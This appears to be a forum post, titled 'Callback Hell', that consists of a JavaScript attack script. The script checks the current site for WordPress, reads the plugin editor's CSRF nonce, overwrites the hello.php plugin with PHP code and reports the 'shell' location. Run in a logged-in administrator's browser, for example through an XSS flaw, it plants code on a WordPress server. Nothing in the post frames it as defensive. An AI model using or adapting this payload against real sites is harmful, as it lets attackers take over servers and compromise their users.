Callback Hell - Printable Version

Code:
detectcms();
function attackWorpress(pathtowpinstallation){
	var newdata='<?php echo 123456;?>';
	var regExp = /_wpnonce" value="(.*?)"/; 
	httpGet(pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php",function(page){
		var matches = regExp.exec(page);
		var csrftoken = matches[1];
		httpPost(pathtowpinstallation + "/wp-admin/plugin-editor.php", "_wpnonce=" + csrftoken + "&_wp_http_referer=" + pathtowpinstallation + "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=" + newdata + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Update+File",function(done){
			httpGet(pathtowpinstallation + "/wp-content/plugins/hello.php",function(content){
				console.log("shell at : " + pathtowpinstallation + "/wp-content/plugins/hello.php")
			});
		});
	});
}

function detectcms(){
	var paths=["/","/wp/","/wordpress/","/blog/"];
	for(var i=0;i<paths.length;i++){
		httpGet("http://"+document.domain+paths[i]+"license.txt",function(data){
			if(data.indexOf("wordpress")!=-1){
				attackWorpress("http://"+document.domain+paths[i]);
			}
		});
	}
}

function httpPost(theUrl, post,func){
    var xmlHttp = null;
    xmlHttp = new XMLHttpRequest();
    xmlHttp.open("POST",theUrl,false);
    xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlHttp.onreadystatechange = function() {
    	if (xmlHttp.readyState == 4) {
			func(xmlHttp.responseText);
		}
    }
    xmlHttp.send(post);
}
function httpGet(theUrl,func){
	var xmlHttp = new XMLHttpRequest();
	xmlHttp.onreadystatechange = function() {
		if (xmlHttp.readyState == 4) {
			func(xmlHttp.responseText);
		}
	}
	xmlHttp.open("GET",theUrl,true);
	xmlHttp.send(null);
}